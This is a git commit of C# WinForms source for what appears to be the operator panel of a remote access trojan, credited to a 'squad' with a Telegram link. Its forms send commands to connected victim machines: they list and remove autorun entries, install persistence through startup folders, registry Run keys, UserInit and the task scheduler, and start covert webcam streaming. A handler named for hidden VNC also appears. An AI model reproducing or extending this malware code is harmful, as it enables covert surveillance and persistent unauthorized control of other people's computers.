initial commit

This commit is contained in:
i2p
2026-08-27 11:21:58 -06:00
commit c21fb61050
336 changed files with 74161 additions and 0 deletions
+76
View File
@@ -0,0 +1,76 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using Server.Helper;
namespace Server.Forms;
public class FormAbout : FormMaterial
{
private IContainer components;
private PictureBox pictureBox1;
private Label label1;
public FormAbout()
{
InitializeComponent();
}
private void FormAbout_Load(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.label1 = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.SuspendLayout();
//
// pictureBox1
//
this.pictureBox1.Location = new System.Drawing.Point(69, 94);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(313, 178);
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204)));
this.label1.Location = new System.Drawing.Point(59, 290);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(323, 160);
this.label1.TabIndex = 1;
this.label1.Text = "Создано спецально для сквада {taskmgr}\r\n\r\n\r\nTelegram: https://t.me/taskmgrlink\r\nD" +
"iscord: нету\r\nLolz: нету\r\n\r\nПри подержке Evelyn";
//
// FormAbout
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(481, 474);
this.Controls.Add(this.label1);
this.Controls.Add(this.pictureBox1);
this.Name = "FormAbout";
this.Text = "About";
this.Load += new System.EventHandler(this.FormAbout_Load);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
}
+270
View File
@@ -0,0 +1,270 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Reflection;
using System.Windows.Forms;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormAutoRun : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem killToolStripMenuItem;
private ToolStripMenuItem killRemoveToolStripMenuItem;
private Panel panel1;
public DataGridView dataGridView2;
public MaterialLabel materialLabel1;
private ToolStripMenuItem toolStripMenuItem1;
private DataGridViewTextBoxColumn Column1;
private DataGridViewTextBoxColumn Column2;
private DataGridViewTextBoxColumn Column3;
public FormAutoRun()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
typeof(DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, null, dataGridView2, new object[1] { true });
}
private void ChangeScheme(object sender)
{
dataGridView2.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
dataGridView2.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private string[] NamesSelected()
{
List<string> list = new List<string>();
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
list.Add((string)selectedRow.Cells[0].Value + ";" + (string)selectedRow.Cells[1].Value);
}
return list.ToArray();
}
private void killToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
string[] array = NamesSelected();
foreach (string text in array)
{
client.Send(LEB128.Write(new object[2] { "Remove", text }));
}
}
}
private void killRemoveToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[1] { "Refresh" }));
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
{
FormAutoRunSet formAutoRunSet = new FormAutoRunSet();
formAutoRunSet.client = client;
formAutoRunSet.ShowDialog();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormAutoRun));
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.killRemoveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.panel1 = new System.Windows.Forms.Panel();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.dataGridView2 = new System.Windows.Forms.DataGridView();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.contextMenuStrip1.SuspendLayout();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[3] { this.toolStripMenuItem1, this.killToolStripMenuItem, this.killRemoveToolStripMenuItem });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(181, 92);
this.toolStripMenuItem1.Image = (System.Drawing.Image)resources.GetObject("toolStripMenuItem1.Image");
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
this.toolStripMenuItem1.Size = new System.Drawing.Size(180, 22);
this.toolStripMenuItem1.Text = "Add";
this.toolStripMenuItem1.Click += new System.EventHandler(toolStripMenuItem1_Click);
this.killToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("killToolStripMenuItem.Image");
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.killToolStripMenuItem.Text = "Remove";
this.killToolStripMenuItem.Click += new System.EventHandler(killToolStripMenuItem_Click);
this.killRemoveToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("killRemoveToolStripMenuItem.Image");
this.killRemoveToolStripMenuItem.Name = "killRemoveToolStripMenuItem";
this.killRemoveToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.killRemoveToolStripMenuItem.Text = "Refresh";
this.killRemoveToolStripMenuItem.Click += new System.EventHandler(killRemoveToolStripMenuItem_Click);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(3, 512);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(794, 20);
this.panel1.TabIndex = 1;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(2, 1);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(94, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "Please wait...";
this.dataGridView2.AllowDrop = true;
this.dataGridView2.AllowUserToAddRows = false;
this.dataGridView2.AllowUserToDeleteRows = false;
this.dataGridView2.AllowUserToResizeColumns = false;
this.dataGridView2.AllowUserToResizeRows = false;
this.dataGridView2.BackgroundColor = System.Drawing.Color.White;
this.dataGridView2.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.dataGridView2.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView2.Columns.AddRange(this.Column1, this.Column2, this.Column3);
this.dataGridView2.ContextMenuStrip = this.contextMenuStrip1;
this.dataGridView2.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView2.Dock = System.Windows.Forms.DockStyle.Fill;
this.dataGridView2.Enabled = false;
this.dataGridView2.EnableHeadersVisualStyles = false;
this.dataGridView2.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.dataGridView2.Location = new System.Drawing.Point(3, 64);
this.dataGridView2.Name = "dataGridView2";
this.dataGridView2.ReadOnly = true;
this.dataGridView2.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView2.RowHeadersVisible = false;
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView2.ShowCellErrors = false;
this.dataGridView2.ShowCellToolTips = false;
this.dataGridView2.ShowEditingIcon = false;
this.dataGridView2.ShowRowErrors = false;
this.dataGridView2.Size = new System.Drawing.Size(794, 448);
this.dataGridView2.TabIndex = 17;
this.Column1.HeaderText = "Type";
this.Column1.MinimumWidth = 100;
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column2.HeaderText = "Name";
this.Column2.MinimumWidth = 100;
this.Column2.Name = "Column2";
this.Column2.ReadOnly = true;
this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.Column3.HeaderText = "Path";
this.Column3.MinimumWidth = 100;
this.Column3.Name = "Column3";
this.Column3.ReadOnly = true;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(800, 535);
base.Controls.Add(this.dataGridView2);
base.Controls.Add(this.panel1);
base.Name = "FormAutoRun";
this.Text = "AutoRun";
base.Load += new System.EventHandler(FormProcess_Load);
this.contextMenuStrip1.ResumeLayout(false);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).EndInit();
base.ResumeLayout(false);
}
}
+181
View File
@@ -0,0 +1,181 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormAutoRunSet : FormMaterial
{
public Clients client;
private IContainer components;
private RJButton rjButton1;
private RJButton rjButton2;
public RJTextBox rjTextBox1;
public RJTextBox rjTextBox2;
private RJComboBox rjComboBox2;
public FormAutoRunSet()
{
InitializeComponent();
}
private void FormHVNCrun_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
}
private void ChangeScheme(object sender)
{
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjTextBox2.BorderColor = FormMaterial.PrimaryColor;
rjComboBox2.BorderColor = FormMaterial.PrimaryColor;
rjButton2.BackColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(rjTextBox1.Texts) && !string.IsNullOrEmpty(rjTextBox2.Texts) && !string.IsNullOrEmpty(rjComboBox2.Texts))
{
client.Send(new object[4] { "Set", rjComboBox2.Texts, rjTextBox2.Texts, rjTextBox1.Texts });
Close();
}
}
private void rjButton2_Click(object sender, EventArgs e)
{
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox2 = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.rjButton2 = new CustomControls.RJControls.RJButton();
this.rjComboBox2 = new CustomControls.RJControls.RJComboBox();
base.SuspendLayout();
this.rjTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox1.Location = new System.Drawing.Point(7, 68);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "Path";
this.rjTextBox1.Size = new System.Drawing.Size(345, 31);
this.rjTextBox1.TabIndex = 14;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
this.rjTextBox2.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox2.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox2.BorderRadius = 0;
this.rjTextBox2.BorderSize = 1;
this.rjTextBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox2.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox2.Location = new System.Drawing.Point(7, 107);
this.rjTextBox2.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox2.Multiline = false;
this.rjTextBox2.Name = "rjTextBox2";
this.rjTextBox2.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox2.PasswordChar = false;
this.rjTextBox2.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox2.PlaceholderText = "Name";
this.rjTextBox2.Size = new System.Drawing.Size(345, 31);
this.rjTextBox2.TabIndex = 15;
this.rjTextBox2.Texts = "";
this.rjTextBox2.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.Font = new System.Drawing.Font("Arial", 9f);
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(286, 183);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(64, 31);
this.rjButton1.TabIndex = 16;
this.rjButton1.Text = "Set";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.rjButton2.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton2.BorderRadius = 0;
this.rjButton2.BorderSize = 0;
this.rjButton2.FlatAppearance.BorderSize = 0;
this.rjButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton2.Font = new System.Drawing.Font("Arial", 9f);
this.rjButton2.ForeColor = System.Drawing.Color.White;
this.rjButton2.Location = new System.Drawing.Point(216, 183);
this.rjButton2.Name = "rjButton2";
this.rjButton2.Size = new System.Drawing.Size(64, 31);
this.rjButton2.TabIndex = 17;
this.rjButton2.Text = "Cancel";
this.rjButton2.TextColor = System.Drawing.Color.White;
this.rjButton2.UseVisualStyleBackColor = false;
this.rjButton2.Click += new System.EventHandler(rjButton2_Click);
this.rjComboBox2.BackColor = System.Drawing.Color.White;
this.rjComboBox2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjComboBox2.BorderSize = 1;
this.rjComboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
this.rjComboBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
this.rjComboBox2.ForeColor = System.Drawing.Color.DimGray;
this.rjComboBox2.IconColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjComboBox2.Items.AddRange(new object[6] { "StartUp", "CurrentUser", "LocalMachine", "Node32", "UserInit", "Sheduler" });
this.rjComboBox2.ListBackColor = System.Drawing.Color.White;
this.rjComboBox2.ListTextColor = System.Drawing.Color.DimGray;
this.rjComboBox2.Location = new System.Drawing.Point(7, 145);
this.rjComboBox2.MinimumSize = new System.Drawing.Size(200, 30);
this.rjComboBox2.Name = "rjComboBox2";
this.rjComboBox2.Padding = new System.Windows.Forms.Padding(1);
this.rjComboBox2.Size = new System.Drawing.Size(343, 30);
this.rjComboBox2.TabIndex = 22;
this.rjComboBox2.Texts = "";
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(359, 220);
base.Controls.Add(this.rjComboBox2);
base.Controls.Add(this.rjButton2);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.rjTextBox2);
base.Controls.Add(this.rjTextBox1);
base.Name = "FormAutoRunSet";
this.Text = "Auto Run Set";
base.Load += new System.EventHandler(FormHVNCrun_Load);
base.ResumeLayout(false);
}
}
File diff suppressed because it is too large Load Diff
+211
View File
@@ -0,0 +1,211 @@
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormCamera : FormMaterial
{
public int FPS;
public Stopwatch sw = Stopwatch.StartNew();
public Clients client;
public Clients parrent;
private IContainer components;
public NumericUpDown numericUpDown2;
public PictureBox pictureBox1;
public MaterialSwitch materialSwitch1;
public RJComboBox rjComboBox1;
private Panel panel1;
public Timer timer1;
public FormCamera()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void materialSwitch1_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
if (rjComboBox1.SelectedIndex == -1)
{
materialSwitch1.Checked = false;
return;
}
client.Send(LEB128.Write(new object[3]
{
"Start",
(byte)numericUpDown2.Value,
(byte)rjComboBox1.SelectedIndex
}));
}
else
{
client.Send(LEB128.Write(new object[1] { "Stop" }));
}
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void numericUpDown2_ValueChanged(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
client.Send(new object[2]
{
"Quality",
(byte)numericUpDown2.Value
});
}
}
private void FormCamera_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
private void ChangeScheme(object sender)
{
rjComboBox1.BorderColor = FormMaterial.PrimaryColor;
numericUpDown2.ForeColor = FormMaterial.PrimaryColor;
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
this.rjComboBox1 = new CustomControls.RJControls.RJComboBox();
this.panel1 = new System.Windows.Forms.Panel();
this.timer1 = new System.Windows.Forms.Timer(this.components);
((System.ComponentModel.ISupportInitialize)this.numericUpDown2).BeginInit();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).BeginInit();
base.SuspendLayout();
this.numericUpDown2.BackColor = System.Drawing.Color.White;
this.numericUpDown2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.numericUpDown2.Enabled = false;
this.numericUpDown2.ForeColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.numericUpDown2.Increment = new decimal(new int[4] { 10, 0, 0, 0 });
this.numericUpDown2.Location = new System.Drawing.Point(112, 78);
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(42, 20);
this.numericUpDown2.TabIndex = 22;
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
this.numericUpDown2.Value = new decimal(new int[4] { 80, 0, 0, 0 });
this.numericUpDown2.ValueChanged += new System.EventHandler(numericUpDown2_ValueChanged);
this.pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.pictureBox1.BackColor = System.Drawing.Color.White;
this.pictureBox1.Location = new System.Drawing.Point(6, 109);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(813, 422);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 21;
this.pictureBox1.TabStop = false;
this.materialSwitch1.AutoSize = true;
this.materialSwitch1.BackColor = System.Drawing.Color.White;
this.materialSwitch1.Depth = 0;
this.materialSwitch1.Enabled = false;
this.materialSwitch1.Location = new System.Drawing.Point(3, 69);
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch1.Name = "materialSwitch1";
this.materialSwitch1.Ripple = true;
this.materialSwitch1.Size = new System.Drawing.Size(92, 37);
this.materialSwitch1.TabIndex = 20;
this.materialSwitch1.Text = "Start";
this.materialSwitch1.UseVisualStyleBackColor = false;
this.materialSwitch1.CheckedChanged += new System.EventHandler(materialSwitch1_CheckedChanged);
this.rjComboBox1.BackColor = System.Drawing.Color.White;
this.rjComboBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjComboBox1.BorderSize = 1;
this.rjComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
this.rjComboBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
this.rjComboBox1.ForeColor = System.Drawing.Color.DimGray;
this.rjComboBox1.IconColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjComboBox1.ListBackColor = System.Drawing.Color.White;
this.rjComboBox1.ListTextColor = System.Drawing.Color.DimGray;
this.rjComboBox1.Location = new System.Drawing.Point(180, 73);
this.rjComboBox1.MinimumSize = new System.Drawing.Size(200, 30);
this.rjComboBox1.Name = "rjComboBox1";
this.rjComboBox1.Padding = new System.Windows.Forms.Padding(1);
this.rjComboBox1.Size = new System.Drawing.Size(250, 30);
this.rjComboBox1.TabIndex = 23;
this.rjComboBox1.Texts = "";
this.panel1.BackColor = System.Drawing.Color.White;
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(819, 470);
this.panel1.TabIndex = 24;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(825, 537);
base.Controls.Add(this.rjComboBox1);
base.Controls.Add(this.numericUpDown2);
base.Controls.Add(this.pictureBox1);
base.Controls.Add(this.materialSwitch1);
base.Controls.Add(this.panel1);
base.Name = "FormCamera";
this.Text = "Camera";
base.Load += new System.EventHandler(FormCamera_Load);
((System.ComponentModel.ISupportInitialize)this.numericUpDown2).EndInit();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).EndInit();
base.ResumeLayout(false);
base.PerformLayout();
}
}
+103
View File
@@ -0,0 +1,103 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormCertificate : FormMaterial
{
private IContainer components;
private RJTextBox rjTextBox1;
private RJButton rjButton1;
public FormCertificate()
{
InitializeComponent();
}
private void FormAbout_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
}
private void ChangeScheme(object sender)
{
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BorderColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
rjButton1.Text = "Wait...";
Certificate.CreateCertificateAuthority(rjTextBox1.Texts);
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
base.SuspendLayout();
this.rjTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.DarkViolet;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 2;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox1.Location = new System.Drawing.Point(37, 98);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
